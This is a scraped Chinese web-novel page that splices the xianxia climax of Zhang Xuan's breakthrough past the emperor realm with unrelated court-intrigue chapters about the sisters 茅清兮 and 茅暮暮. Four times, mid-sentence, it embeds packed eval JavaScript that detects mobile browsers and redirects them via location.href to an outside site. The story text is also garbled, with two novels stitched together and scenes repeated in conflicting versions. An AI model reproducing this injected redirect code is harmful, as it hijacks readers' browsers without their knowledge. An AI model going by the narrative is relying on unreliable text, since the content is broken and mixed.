嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140992|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百八十三章 他身旁的少年看着他的样子,一脸疑惑,忍不住开口问道: “喂,茅飞羽,你跟你姐该不会是隔壁老王家的吧?我怎么感觉,人家那个小孩才是你姐的亲弟弟呢?你姐姐对他简直比亲弟弟还亲,你看她理都不理你。” “闭嘴!你懂什么!” 茅飞羽猛地转过头,怒吼一声,眼中燃烧着熊熊怒火,像是要把那少年给吞噬掉。“我姐啥时候开始带新人了?” 听雨阁二楼,包间外。茅飞羽一脸狐疑,上下打量着眼前这个身形单薄的少年。这小子,居然自称是姐姐的徒弟? 周长明依旧绷着脸,一言不发。只是那双黑白分明的眼睛里,分明写着不悦。 茅飞羽可不吃他这套。 “让开。”他仗着自己是茅清兮的弟弟,语气蛮横,“我要见我姐!” 说着,便伸手去推周长明。 周长明眼神一凛。 就在茅飞羽的手即将碰到他肩膀的那一刹,他身形一侧,猛地发力—— 干脆利落的一个过肩摔! “啊!” 茅飞羽猝不及防,整个人被狠狠掼在地上,发出一声惨叫。 这货就是个富二代,哪里受过这种罪?只觉得半边身子都麻了,肩膀更是像要裂开一样,火辣辣地疼。眼泪,不受控制地涌了出来。 “嘶……”他倒抽一口冷气,挣扎着想爬起来,却怎么也使不上劲。 司玄苏一直倚在门边看戏,这会儿才慢悠悠地走过来,将茅飞羽从地上扶起。 他心里跟明镜似的:这位小少爷,可是主子的亲弟弟。虽说眼下主子还在气头上,不肯认他,可万一哪天心软了呢? 毕竟,血浓于水,打断骨头连着筋啊。 茅飞羽疼得龇牙咧嘴,又气又委屈,一双眼睛死死瞪着周长明。 周长明也皱着眉,回视着他,眼神里满是不解。 “你……你怎么哭了?”半晌,他才憋出一句话,语气里竟然带着一丝关切。 “我没哭!” 茅飞羽只觉得一股火气直冲头顶,简直要气炸了!委屈、愤怒、不甘……种种情绪混杂在一起,他现在只想进屋找姐姐,把眼前这个莫名其妙的小子狠狠告上一状。 可不管他心里如何翻江倒海,茅清兮始终没有露面。 茅飞羽狠狠地瞪了周长明一眼,最终,只能咬牙切齿地转身离开。 周长明望着他跌跌撞撞离开的背影,眉头皱得更紧了。 他回头看了一眼包间紧闭的门,不明白师父为什么不出来。 难道,真的是因为自己刚才出手太重了吗? 可是,他明明……轻轻松松就搞定了。 “行了,别看了,人都走远了。”司玄苏不知何时出现在周长明身后,笑眯眯地拍了拍他的肩膀,“长明,你可真是越来越厉害了。什么时候,也教教我?” 周长明一听,立马挺起胸膛,声音也大了几分:“都是师父教得好!等我学会了更厉害的,一定教你!” “哟,你老师也太给力了吧?”司玄苏故意逗他。 “师父当然好!”周长明毫不犹豫地回答,语气坚定,“师父是天下第一好!” -- 包间内。 茅清兮坐在桌边,手里捏着一只青瓷茶盏,轻轻转动着。 司玄苏和周长明一进门,她便抬眸看了过来。 “人呢,被你气走了?” 司玄苏笑而不语。 “我打跑的。”周长明立刻补充,语气里带着一丝邀功的意味。 司玄苏笑着摇了摇头,没有说话,只是走到周长明身边,轻轻地揉了揉他的头发。 “长明,”茅清兮语气柔和,“你可是老师心尖上的独苗,可不能跟自家人动手。” 周长明闻言,有些失落,默默地低下了头。 茅清兮见他这副模样,心中了然。 她轻轻叹了口气,温声说道: “长明,你记住,你是跟着老师混的,师父一定会护着你。但方才那位……毕竟是师父的亲弟弟,你出手教训他,师父心里也过意不去。” 周长明抬起头,看着茅清兮,眼神中带着一丝迷茫和委屈。 “可他……他要欺负师父。” 茅清兮笑了笑,摇了摇头。 “他不会的。他只是……想见师父了。” 周长明抿了抿唇,没有说话。 他知道,血缘关系,才是最牢不可破的。 就算自己是师父的徒弟,也比不上……师父的亲弟弟重要。 茅清兮看出了他眼中的失落,继续说道:“长明,你记住,你可是老师心尖上的独苗,这一点,永远都不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146432|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变。往后,我会教你很多东西,不仅仅是武功。” 周长明原本黯淡下去的眼眸,瞬间又亮了起来。 司玄苏在一旁看着,笑着感叹道:“长明,你可是走了大运,有这么好的一个师父。” “嗯!”周长明用力地点点头,脸上露出一个大大的笑容。 -- “主子,那些学子们都放出来了。”司玄苏敛起笑容,开始说起正事。 茅清兮微微颔首:“是贤王的手笔?” “正是。”司玄苏点头,“贤王在圣上面前为他们求情,如今在士林中声望极高。” 茅清兮眸光微动。 “看来,圣上这是要借贤王,来敲打太子了。” “可不是么。如今青云书院,都快成了贤王的后院了。”司玄苏嗤笑一声,“太子为了拉拢那些读书人,可没少费心思。这下,怕是要气得跳脚了。” 茅清兮沉吟片刻,道:“盯着太子府,一有异动,立刻禀报。” 钱云霄不会善罢甘休。 他背后那个孔谋,更不是省油的灯。 “对了,主子,”司玄苏忽然想起一件事,“您还记得,之前跟茅少爷一起来的那个人吗?” 茅清兮想了想,微微摇头:“眼生得很。” “那人,原来是贤王家的亲戚。” “哦?”茅清兮挑眉,“贤王的表弟,怎么会和茅飞羽搅和在一起?” 司玄苏笑了笑,说道:“这贤王的生母,只是个宫女,没名没分地去了。不过,她倒是有个妹妹,嫁给了新上任的禁军总督**西元,做了个姨娘。这位**小公子,就是**西元的宝贝疙瘩。” 茅清兮若有所思。 禁军总督…… 这是个要紧的位子。 看来,贤王在暗中,也没少布局。 “茅飞羽和这位**小公子走得近,怕也不是什么好事。” “可不是,”司玄苏附和道,“听说两人是在赌场认识的,整日里厮混在一起,不干正事。” 茅清兮冷哼一声,没有说话。 她对茅飞羽,已经彻底失望了。 “主子,还有一件事。”司玄苏压低了声音,“茅暮暮最近在陆府闹得厉害,非要再嫁给刁明远。” “哦?”茅清兮倒是有些意外,“林家肯答应? 第一百八十四章 ” “林家自然是不肯的。尤其是在知道茅暮暮不能生育之后,态度更是坚决。”司玄苏幸灾乐祸地笑了,“当初茅暮暮嫌弃刁明远,闹着要退婚。如今可好,上赶着要嫁过去,人家还不要她了。听说,她现在只能嫁给刁明远的庶弟,做个妾室。” “自作孽,不可活。”茅清兮淡淡道,“她若是不安分,长公主那边,自然会有人收拾她。” 茅暮暮的所作所为,已经彻底触怒了长公主。 如果她再不知收敛,只会自取灭亡。 茅清兮猜得没错。 此刻的陆府,早已被茅暮暮闹得鸡犬不宁。“我不嫁!打死我也不嫁!刁然那个猪狗不如的东西,他也配碰我一根手指头?” 屋子里像炸开了锅,名贵的摆设碎了一地,那声音,尖锐刺耳,像是要把人的耳膜都刺穿。院子里的丫鬟们吓得魂飞魄散,一个个恨不得把脑袋埋进土里,连大气都不敢喘。 长公主派来的侍卫,像两尊铁塔似的杵在院门口,面无表情,仿佛里头的动静跟他们没有半点关系。 骆芸手里捏着块绣帕,唉声叹气地往屋里走,脚步虚浮,像是踩在云彩上,一点儿劲都使不出来。 “暮暮,你这是做什么呀?跟自己过不去,有什么用呢!不嫁给刁然,难不成你还真想去庙里头,敲木鱼念经,过一辈子?” “敲木鱼?我好好的,敲什么木鱼?!” 茅暮暮猛地回头,眼睛红得吓人,像是要**一样,死死盯着骆芸。 骆芸被她看得心里发慌,张了张嘴,好不容易才憋出一句话: “可是……暮暮啊,你现在……不清白了,又……又生不出孩子……哪家公子……会要你?” 每一个字,都像针一样扎在茅暮暮的心上,疼得她直抽搐。 “你还是不是我亲娘?!” 茅暮暮尖叫一声,猛地站起来,身子晃了晃,像是风中的落叶,随时都会被吹走。 “本小姐未来可是太子妃!怎么能……怎么能随随便便嫁给刁然那种废物!” 骆芸张了张嘴,想说什么,却又什么都说不出来,只剩下一声叹息。 “暮暮,太子……那是天上的月亮,你……唉,听娘的话,别再做梦了,找个好人家嫁了,好好过日子,不行吗?” 她真是想不通,自己这个女儿是着了什么魔,怎么就非要嫁给太子呢? 早些时候,茅暮暮才貌双全,在京城里是数一数二的,骆芸心里也盼着她能出人头地。 要是她真能当上太子妃,自己就是太子妃的娘,未来的皇太后,想想都觉得风光无限! 可现在呢?茅暮暮的名声早就臭了,跟刁然那点丑事,瞒都瞒不住,整个京城都传遍了! 谁不知道,茅暮暮要给刁然当个小妾?还是个见不得人的玩意儿! “做梦?我才不是做梦!” 茅暮暮猛地一拍桌子,手都拍麻了,她却像感觉不到疼一样,声音沙哑得像破锣。 “我茅暮暮,绝不能输给茅清兮那个小蹄子!” 她死死盯着骆芸,眼神闪烁,像是在打什么鬼主意。 “娘,你这么多年没给爹生个儿子,不也照样稳坐侯府夫人的位子?你能行,我也能行!” 她顿了顿,声音突然变得阴冷。 “生不出孩子,就让别的女人生!只要挂在我名下,谁敢说个不字?” 骆芸的脸色瞬间变得惨白。 是啊,这些年,她都没能给宋家生个儿子,肚子就像块盐碱地,怎么也长不出庄稼。 她也曾急得团团转,可就是怀不上,有什么办法? 要不然,她也不会把茅飞羽养在身边。可到底不是亲生的,心里总觉得空落落的。 她做梦都想有个自己的儿子,尤其是褚姨娘进门后,她慌得一批。 可现在,她这把年纪,早就没指望了。茅文昭也早就对她没了心思,几个月都不来她房里一趟! 茅暮暮见骆芸不说话,知道她又在想那些陈芝麻烂谷子的事,心里更烦了。 她这个娘,就是个没用的,遇到事只会哭哭啼啼,一点主意都没有! 茅暮暮深吸一口气,告诉自己要冷静。 外祖父那边靠不住了。她派人去安州打听消息,结果带回来一个噩耗——外祖父一家,竟然遭了匪患,一个活口都没留下! 这消息像晴天霹雳一样,把茅暮暮劈懵了。她原本还指望着外祖父能帮她一把,现在这条路也断了! 她不敢想,如果真嫁给刁然,以后的日子会是什么样。 刁然是什么人? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16146433|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过是个流连花丛的浪荡子,除了吃喝玩乐,什么都不会。 要不是看中了他这点,当初她也不会让他去坏茅清兮的名声。 可现在倒好,赔了夫人又折兵,清白没了,还落得个要嫁给他的下场! 不行!她不能等死! 茅暮暮眼珠子一转,突然转头跟小丫鬟开口:“你去,请林公子过来一趟。” 那丫鬟一愣:“林公子?是……林府那个纨绔二公子?” “蠢货!” 茅暮暮气得抓起一个茶杯,就朝丫鬟砸了过去,却没砸中。 “我说的,当然是刁明远!你是猪脑子吗?” 丫鬟吓得一哆嗦,顾不上分辨,拔腿就往外跑。 茅暮暮闭上眼睛,努力让自己平静下来。 嫁给刁然?她宁可**! 一旦真成了刁然的小妾,她这辈子都别想在京城里抬起头,还不得被那些贵女们笑话死? 特别是茅清兮,她绝不能让那个**看自己的笑话! 刁明远……从前,他不是对自己一往情深吗?还几次三番托人来提亲。要不是自己为了等太子,早就答应他了。 现在,只要自己稍微放低点姿态,他还不得乖乖地过来? 茅暮暮正想着,那丫鬟却垂头丧气地回来了,手里还捏着一张纸条。 “小姐……林公子……林公子他不肯来,只让奴婢带回来这个……” “什么?!” 茅暮暮一把抢过纸条,展开一看,顿时气得浑身发抖。 只见上面写着几行字,字迹倒是刁明远的,可内容却让她如坠冰窖: “茅二小姐,你我缘尽于此,望各自安好。另,尊兄刁然不日将迎娶小姐,届时还望赏光。” “不可能!这不可能!” 茅暮暮尖叫着,把纸条撕了个粉碎。 “刁明远怎么可能说这种话!他明明……他明明喜欢我!” “是真的,小姐,奴婢亲眼看到的……林公子还说……还说……” “说什么?!” “他说,让您以后别再去找他了,免得……免得被人说闲话……” “啪!” 丫鬟话还没说完,脸上就挨了一记响亮的耳光,打得她眼冒金星,差点摔倒。 第一百八十五章 “你再敢胡说八道,看我不撕烂你的嘴!” 茅暮暮眼睛都红了,像是要发疯的野兽。 她从首饰盒里翻出一支碧玉簪子,是刁明远当年送给她的定情信物。 “把这个拿给刁明远,就说……就说这是我最后一次见他,让他务必来一趟!” 丫鬟捂着脸,不敢再说什么,接过簪子,跌跌撞撞地跑了出去。 可这次,刁明远还是没来。 茅暮暮的心,彻底凉了。 她知道,刁明远是真的不想见她了。不是因为顾忌她的名声,而是……他根本就不想再跟她有任何瓜葛! 怎么办?难道真的要嫁给刁然那个混蛋? 茅暮暮只觉得眼前一阵发黑,几乎要晕过去。 她咬了咬牙,不能就这样放弃!她还有最后一招! 茅暮暮简单收拾了一下,换了身不起眼的衣服,连妆都没化,就匆匆出了门。 长公主派来的两个侍卫,像影子一样跟在她身后,怎么甩都甩不掉。 茅暮暮没办法,只能任由他们跟着。 她没有去林府,而是去了城外的一座破庙。 这是她和刁明远以前经常幽会的地方,也是刁明远第一次对她表白的地方。 茅暮暮坐在庙门口的台阶上,望着远处的山路,心里七上八下。 她不知道刁明远会不会来,也不知道来了之后会发生什么。 可她已经没有别的选择了。 破庙周围静悄悄的,只有风吹过树叶的沙沙声。 茅暮暮等了很久,等到太阳都快落山了,还是没见到刁明远的身影。 她的心,一点点沉了下去。 就在她快要绝望的时候,忽然听到一阵脚步声。 茅暮暮猛地抬头,只见一个熟悉的身影,正朝这边走来。 是刁明远! 他终于来了! 茅暮暮激动得站了起来,可还没等她开口,就听到一阵嘈杂的声音。 “哟,这不是茅二小姐吗?怎么一个人躲在这儿啊?” “嘿嘿,该不会是等着跟哪个野男人幽会吧?” “这破庙可真是个好地方,荒郊野外的,做什么都没人看见……” 几个流里流气的声音传来,茅暮暮脸色大变。 她转头一看,只见几个地痞无赖正朝这边走来,一个个脸上都带着不怀好意的笑容。 “你们……你们想干什么?” 茅暮暮吓得连连后退,声音都颤抖了。 “干什么?嘿嘿,你说呢?” “这小娘们长得可真俊啊,比红香楼的头牌还水灵!” “大哥,咱们今天可有福了,这可是侯府的小姐,平时哪有机会见到啊?” 几个地痞一边说着,一边朝茅暮暮逼近。 “小姐!” 一旁的丫鬟吓得尖叫起来,想要冲过来保护茅暮暮,却被一个地痞一把推倒在地。 茅暮暮彻底慌了,她没想到,自己竟然会在这里遇到这种事! 难道……这就是报应吗? 她绝望地闭上了眼睛。 就在这时,她忽然听到一个熟悉的声音: “住手!” 茅暮暮猛地睁开眼睛,只见刁明远正站在不远处,脸色铁青,眼神冰冷。 “远郎……” 茅暮暮像是看到了救星,挣扎着朝刁明远跑去。 “你们是什么人?竟敢在这里撒野!” 刁明远挡在茅暮暮身前,厉声喝道。 “哟,原来是林大公子啊,失敬失敬!” 为首的地痞认出了刁明远,脸上露出一丝惊讶,但很快就恢复了镇定。 “我们兄弟几个只是路过,看到这位小姐一个人在这里,想跟她聊聊天而已。” “聊天?我看你们是想找死!” 刁明远眼神一冷,从腰间抽出一把软剑。 “我劝你们最好马上滚,否则别怪我不客气!” “刁明远,你别以为你是新科榜眼,我们就怕你!” 一个地痞叫嚣道: “这小娘们跟刁然不清不楚,早就不是什么干净人了,我们兄弟几个玩玩,又怎么了?” “就是!刁然能玩,我们怎么就不能玩了?难道就因为他是你弟弟?” “刁明远,你可别忘了,你弟弟马上就要娶这个破鞋了,你还护着她干什么?” 地痞们的话,像刀子一样,一下下戳在茅暮暮的心上。 她脸色惨白,浑身颤抖,几乎要站不住了。 刁明远的脸色也变得很难看,他没想到,这些地痞竟然知道这么多! 他深吸一口气,冷冷地说道: “不管她跟刁然是什么关系,她现在都是我的女人,谁敢动她,就是跟我刁明远过不去!” “你的女人?” 地痞们愣了一下,随即哈哈大笑起来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16149306|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “刁明远,你是不是疯了?这可是你弟弟的女人!” “就是!你竟然为了一个破鞋,跟我们兄弟几个作对,你脑子没病吧?” “刁明远,我劝你还是赶紧滚吧,别在这里丢人现眼了!” “远郎……” 茅暮暮听到这些话,心里又羞又愧,恨不得找个地缝钻进去。 她拉了拉刁明远的衣袖,小声说道: “你……你别管我了,你快走吧……” “我不走!” 刁明远紧紧握住茅暮暮的手,眼神坚定。 “今天,我一定要带你离开这里!” 说着,他举起手中的软剑,朝地痞们冲了过去…… “小姐。” 身旁的丫鬟看着这一切,听着周围刺耳的声音,知道茅暮暮已是心如死灰,但周围的人却还是不肯放过。 她知道现在说什么都没用。 茅暮暮的怒火却被这些声音点燃,她现在只恨不能杀了这些人。 “小姐,林公子来了。”旁边丫鬟忽然小声说道。 茅暮暮立刻向外看,刁明远正走过来。 她立刻迎上去,扑到刁明远怀里:“远郎,我可算见到你了!”“小姐。” 身旁的丫鬟秋荷欲言又止,怯怯地看着周围。 那些人投来的目光,或鄙夷,或嘲弄,话语更是如刀子般,一句句往茅暮暮身上戳。 纵是秋荷这个旁观者,都觉得心惊肉跳,更何况身处漩涡的茅暮暮。 她知道,自家小姐此刻怕是早已心如刀绞,偏偏这些人,还不肯放过。 “小姐,林公子……林公子来了。” 秋荷忽然又开口,声音里带着一丝惊喜。 茅暮暮猛地抬头,眼神中燃起一抹希望。 她越过人群,朝外望去。 刁明远的身影,出现在视线里,仿佛一道光,照进了她晦暗的世界。 那一刻,她像是溺水之人抓住了救命稻草,不顾一切地朝他奔去。 “远郎!我可算见到你了!” 她不管不顾,一头扑进刁明远怀里,死死地抱住他,像是生怕他会消失一般。 刁明远身形一僵,眼神复杂难辨。 周围那些好奇、探究、玩味的目光,像无数只蚂蚁,密密麻麻地在他身上爬,让他浑身不自在。 众目睽睽之下,他只觉得脸上火辣辣的,像是被人狠狠扇了几巴掌。 第一百八十六章 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 